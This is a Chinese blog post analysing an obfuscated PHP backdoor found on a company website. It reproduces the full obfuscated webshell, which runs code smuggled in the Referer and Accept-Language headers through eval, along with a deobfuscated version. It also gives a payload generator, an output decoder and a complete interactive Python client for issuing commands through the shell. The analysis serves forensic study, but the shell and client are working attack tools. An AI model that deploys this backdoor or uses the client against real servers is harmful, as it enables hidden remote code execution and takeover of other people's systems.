一个PHP混淆后门的分析
洒家的朋友的公司的某个站发现最近被上传了一个后门程序。为了取证我们抓取了HTTP请求流量,看到了一堆莫名其妙看似经过混淆的请求,响应也是看似base64的乱码。洒家用了2个小时静态分析了一遍,并写了利用脚本。后门程序看似是乱码,实际上经过了混淆,通过eval()可以执行任意PHP命令。由于混淆得很乱,做起来实在把洒家恶心了一番。
后门源代码:
<?php
/**
* Signature For Report
*/$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/*
*/$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/*
*/$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/*
*/$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/*
*/$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/*
*/$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';/*
*/$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';/*
*/$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';/*
*/$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';/*
*/$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';/*
*/$y=str_replace('b','','crbebbabte_funcbbtion');/*
*/$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/*
*/$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/*
*/$v=$y('',$L);$v();/*
*/
经过分析,最外层混淆进行的操作是:按顺序拼接字符串,删除其中的 ')m',通过create_function()创建一个匿名函数$v并执行代码。
将代码导出并美化如下:
<?php
$kh="4f7f";
$kf="28d7"; function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra){
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q); preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m){
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1];
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for($z=1;$z<count($m[1]);$z++)
$p.=$q[$m[2][$z]];
if(strpos($p,$h)===0){
$s[$i]="";
$p=$ss($p,3);
}
if(array_key_exists($i,$s)){
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e){
$k=$kh.$kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}
好吧,还有第二层混淆。洒家大概看了一下,x($t,$k)函数是个循环异或函数,结合 base64 函数、 gzcompress() 等函数看可能有HTTP请求和响应过程中的编码和加密。Payload是从仅有的输入 $_SERVER["HTTP_ACCEPT_LANGUAGE"] 和 $_SERVER["HTTP_REFERER"]中来。
洒家分析了一番,稍加修改,得到:
<?php
$kh="4f7f";
$kf="28d7"; // 循环异或加密解密,密钥 $k
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra){
// 将 referer 的 query string 的 各个value取出到 $q
$u=parse_url($rr); // parse referer, return array, keys: scheme,host,port,user,pass,path,query,fragment
parse_str($u["query"],$q); // parse query string into $q (array).
$q=array_values($q); // array values // 分析 Accept-Language, 提取 每种语言的首字母和权重数字。
// Searches $ra for all matches to the regular expression given and puts them in $m
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m){
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1]; // 两组首字母
$h=$sl($ss(md5($i.$kh),0,3)); // md5($i . $kh) 的前三个字符小写。攻击时附在 $p 开头
$f=$sl($ss(md5($i.$kf),0,3)); // $p 是编码后Payload,攻击时附加到$p 后面 // 拼接Payload
$p="";
for($z=1;$z<count($m[1]);$z++) // 从$q 中取出 $m 正则匹配到的第2组中索引 1 -- count($m[1])-1 的值(0-9)作为键的值连接,得到$p
$p.=$q[$m[2][$z]]; // 上例(language), $p .= $q[8] // 去除 $p Payload 开头的 $h
if(strpos($p,$h)===0){ // $h 在 $p[0] 位置出现。
$s[$i]=""; // $_SESSION[$i] = '' , $i 是正则匹配到的两组首字母
$p=$ss($p,3); // $p 从第3个字符开始的子串,去掉 $h
}
if(array_key_exists($i,$s)){ // exist $s[$i], $_SESSION[$i] , if 条件必须有 上文 $h 在 $p[0] 位置出现
$s[$i].=$p;
$e=strpos($s[$i],$f); // $f 是md5 前三个字符小写 ,在 $s[$i]
if($e){ // 必须有 $f 作为"停止字符串"
$k=$kh.$kf; // 4f7f28d7
ob_start();
/*
去除末尾的 $f
URL safe base64 还原为普通base64
base64 解码
循环异或解密
zlib 解密,还原出PHP代码
执行PHP代码
*/
//@eval(@gzuncompress(@x(@base64_decode( preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e)) ),$k)));
echo "CMD WILL EXEC:\n<br />";
echo(@gzuncompress(@x(@base64_decode( preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e)) ),$k)));
$o=ob_get_contents(); // output
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k)); // 编码
print $o;
//print("<$k>$d</$k>");
@session_destroy();
}
}
}
}
关于正则表达式,例子:
$ra = 'zh-CN,zh;q=0.8,en;q=0.6';
$m = array (size=3)
0 =>
array (size=3)
0 => string 'zh-CN,' (length=6)
1 => string 'zh;q=0.8,' (length=9)
2 => string 'en;q=0.6' (length=8)
1 =>
array (size=3)
0 => string 'z' (length=1)
1 => string 'z' (length=1)
2 => string 'e' (length=1)
2 =>
array (size=3)
0 => string '' (length=0)
1 => string '8' (length=1)
2 => string '6' (length=1)
由此,理清这复杂的逻辑后可以写出以下Payload生成代码(PHP):
(针对 zh-CN,zh;q=0.8,en;q=0.6 这一种 Accept-Language)
<?php
$kh="4f7f";
$kf="28d7"; $referer = 'http://example.com/?a=0&b=1&c=2&d=3&e=4&f=5&g=6&h=7&i=payloadhere';
$lang = 'zh-CN,zh;q=0.8,en;q=0.6';
$m = array (
0 => array (
0 => 'zh-CN,',
1 => 'zh;q=0.8,',
2 => 'en;q=0.6', ),
1 => array (
0 => 'z',
1 => 'z',
2 => 'e', ),
2 => array (
0 => '',
1 => '8',
2 => '6', ), );
$i = 'zz'; // $m[1][0] . $m[1][1]
$h=strtolower(substr(md5($i.$kh),0,3)); //
$f=strtolower(substr(md5($i.$kf),0,3)); // a3e function x($t,$k){ // $k : xor key, $t: plain. loop xor encrypt $t.
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$key = '4f7f28d7';
//$payload='phpinfo();';
$payload = $_GET['cmd'];
$payload = gzcompress($payload);
$payload = x($payload,$key);
$payload = base64_encode($payload);
$payload = preg_replace(array("/\//","/\+/"),array("_","-"), $payload);
$payload = $h . $payload . $f;
echo $payload;
echo "\n<br />\n";
$referer = "http://example.com/?a=0&b=1&c=2&d=3&e=4&f=5&g=6&h=7&i=$payload";
echo $referer;
echo "\n<br />\n";
对于 eval() 后的输出,有以下代码解密:
<?php
$kh="4f7f";
$kf="28d7"; // 循环异或,相同密钥 $k 既能加密也能解密
function x($t,$k){ // $k : xor key, $t: plain. loop xor encrypt $t.
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$k=$kh.$kf; // 4f7f28d7 $output = 'TPocr/oUMjeWhOOCkOx2soCqqzIyf1IwLw==';
$o = base64_decode($output);
$o = x($o,$k);
echo gzuncompress($o);
洒家根据这个后门的原理写了个交互式的利用程序(Python2):
代码如下:
每次执行代码生成一次Accept-Language。对于Referer的Query String,没有用到的部分用随机代码填充,编码后的Payload切成3部分,头部md5 和主体连接起来从中切2份,尾部md5+随机字符串作为第3份。
# encoding: utf-8 from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re def choicePart(seq,amount):
length = len(seq)
if length == 0 or length < amount:
print 'Error Input'
return None
result = []
indexes = []
count = 0
while count < amount:
i = randint(0,length-1)
if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:
return result def randBytesFlow(amount):
result = ''
for i in xrange(amount):
result += chr(randint(0,255))
return result def randAlpha(amount):
result = ''
for i in xrange(amount):
result += choice(string.ascii_letters)
return result def loopXor(text,key):
result = ''
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt < lenTxt:
iKey = 0
while iTxt<lenTxt and iKey<lenKey:
result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result def debugPrint(msg):
if debugging:
print msg # config
debugging = False
keyh = "4f7f" # $kh
keyf = "28d7" # $kf
xorKey = keyh + keyf
url = 'http://example.com/backdoor.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug sess = requests.Session() # generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True) acceptLang = [defaultLang]
for i in xrange(3):
acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr) init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,)) # Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
# build junk data in referer
query = []
for i in xrange(max(indexes)+1+randint(0,2)):
key = randAlpha(randint(3,6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
query.append((key, value))
debugPrint('Before insert payload:')
debugPrint(query)
debugPrint(urllib.urlencode(query)) # encode payload
payload = zlib.compress(cmd)
payload = loopXor(payload,xorKey)
payload = base64.urlsafe_b64encode(payload)
payload = md5head + payload # cut payload, replace into referer
cutIndex = randint(2,len(payload)-3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0],payloadPieces[iPiece])
iPiece += 1
referer = url + '?' + urllib.urlencode(query)
debugPrint('After insert payload, referer is:')
debugPrint(query)
debugPrint(referer) # send request
r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
html = r.text
debugPrint(html) # process response
pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
output = pattern.findall(html)
if len(output) == 0:
print 'Error, no backdoor response'
cmd = raw_input('phpshell > ')
continue
output = output[0]
debugPrint(output)
output = output.decode('base64')
output = loopXor(output,xorKey)
output = zlib.decompress(output)
print output
cmd = raw_input('phpshell > ')
每次请求的效果
响应:
附:
Accept-Language解释
zh-cn,zh;q=0.5
浏览器支持的语言分别是中文和简体中文,优先支持简体中文。
Accept-Language表示浏览器所支持的语言类型;
zh-cn表示简体中文;zh 表示中文;
q是权重系数,范围 0 =< q <= 1,q 值越大,请求越倾向于获得其“;”之前的类型表示的内容,若没有指定 q 值,则默认为1,若被赋值为0,则用于提醒服务器哪些是浏览器不接受的内容类型。
一个PHP混淆后门的分析的更多相关文章
- Xshell高级后门完整分析报告
Xshell高级后门完整分析报告 from:https://security.tencent.com/index.php/blog/msg/120 1. 前言 近日,Xshell官方发布公告称其软件中 ...
- 字符串混淆技术应用 设计一个字符串混淆程序 可混淆.NET程序集中的字符串
关于字符串的研究,目前已经有两篇. 原理篇:字符串混淆技术在.NET程序保护中的应用及如何解密被混淆的字符串 实践篇:字符串反混淆实战 Dotfuscator 4.9 字符串加密技术应对策略 今天来 ...
- [转]一个用户SQL慢查询分析,原因及优化
来源:http://blog.rds.aliyun.com/2014/05/23/%E4%B8%80%E4%B8%AA%E7%94%A8%E6%88%B7sql%E6%85%A2%E6%9F%A5%E ...
- 一个普通的 Zepto 源码分析(二) - ajax 模块
一个普通的 Zepto 源码分析(二) - ajax 模块 普通的路人,普通地瞧.分析时使用的是目前最新 1.2.0 版本. Zepto 可以由许多模块组成,默认包含的模块有 zepto 核心模块,以 ...
- 一个普通的 Zepto 源码分析(三) - event 模块
一个普通的 Zepto 源码分析(三) - event 模块 普通的路人,普通地瞧.分析时使用的是目前最新 1.2.0 版本. Zepto 可以由许多模块组成,默认包含的模块有 zepto 核心模块, ...
- 一个普通的 Zepto 源码分析(一) - ie 与 form 模块
一个普通的 Zepto 源码分析(一) - ie 与 form 模块 普通的路人,普通地瞧.分析时使用的是目前最新 1.2.0 版本. Zepto 可以由许多模块组成,默认包含的模块有 zepto 核 ...
- 【病毒分析】对一个vbs脚本病毒的分析
[病毒分析]对一个vbs脚本病毒的分析 本文来源:i春秋社区-分享你的技术,为安全加点温度 一.前言 病毒课老师丢给我们一份加密过的vbs脚本病毒的代码去尝试分析,这里把分析过程发出来,供大家参考,如 ...
- 一个PE文件的逆向分析
一个PE文件的逆向分析 idf-ctf上有个题,是PE文件的逆向,反正对我来说做出来就是有意思的题,做不出来就没劲.言归正传,下面看一下吧 大家想玩可以去这个地方去拿题http://pan.baidu ...
- 对其中的一个特点将NABC的分析结果
一.题目要求 每一个组员针对其中的一个特点将NABC的分析结果发表博客上(截止日期4月8日晚24:00前). 二.分析结果 特点之一:通讯方便 <渴了么>这个安卓APP特点之一就是通讯方便 ...
随机推荐
- Guava学习笔记:复写的Object常用方法
在Java中Object类是所有类的父类,其中有几个需要override的方法比如equals,hashCode和toString等方法.每次写这几个方法都要做很多重复性的判断, 很多类库提供了覆写这 ...
- 一行代码调用实现带字段选取+条件判断+排序+分页功能的增强ORM框架
问题:3行代码 PDF.NET是一个开源的数据开发框架,它的特点是简单.轻量.快速,易上手,而且是一个注释完善的国产开发框架,受到不少朋友的欢迎,也在我们公司的项目中多次使用.但是,PDF.NET比起 ...
- Microsoft SQL Server Compact 4.0&&ADO.NET Entity Framework 4.1&&MVC3
最近重新查看微软MvcMusicStore-v3.0的源代码,发现忽略了很多重要的东西,特别是数据访问那一部分. 首先Microsoft SQL Server Compact 4.0 详细的介绍和下载 ...
- Code First :使用Entity. Framework编程(3) ----转发 收藏
第三章 对属性使用约定和配置 在第2章,对Code First的约定以及如何通过配置覆写默认约定行为进行了大致的介绍.学习了如何使用Data Annotations进行配置,也学习了如何使用Fluen ...
- Vue-router中文教程-Vue-router参考手册.CHM
下载地址http://download.csdn.net/detail/shouce_ren/9689243 百度云下载地址
- 详解Javascript 函数声明和函数表达式的区别
Javascript Function无处不在,而且功能强大!通过Javascript函数可以让JS具有面向对象的一些特征,实现封装.继承等,也可以让代码得到复用.但事物都有两面性,Javascrip ...
- Web 开发人员不能错过的 jQuery 教程和案例
jQuery 把惊喜延续到设计领域,处处带来极大的灵活性,创造了许多体验良好的设计,而且拥有不错的性能.这里分享一组 Web 开发人员不能错过的 jQuery 教程和案例,帮助你更好的掌握 jQuer ...
- sql搜索数据库中具有某列的表
在接口中明明有某个节点,但在数据库中却找不到,为此本人写了一个sql,以供快速查找. Select distinct syscolumns.name,sysobjects.name from sysc ...
- 微信不支持Object.assign
微信不支持Object.assign,让我Vue怎么用QAQ... 解决方法: https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Refe ...
- SP2013 SP1(kb28805502)补丁安装测试初体验
安装完SP1(kb28805502)第一印象是整体页面加载浏览速度非常快了,在笔记本建立的虚拟机能达到肉眼感觉不到卡顿真的是非常快了. 1.新添加了页面个性化设置功能菜单 3.默认访问网站的页面显示, ...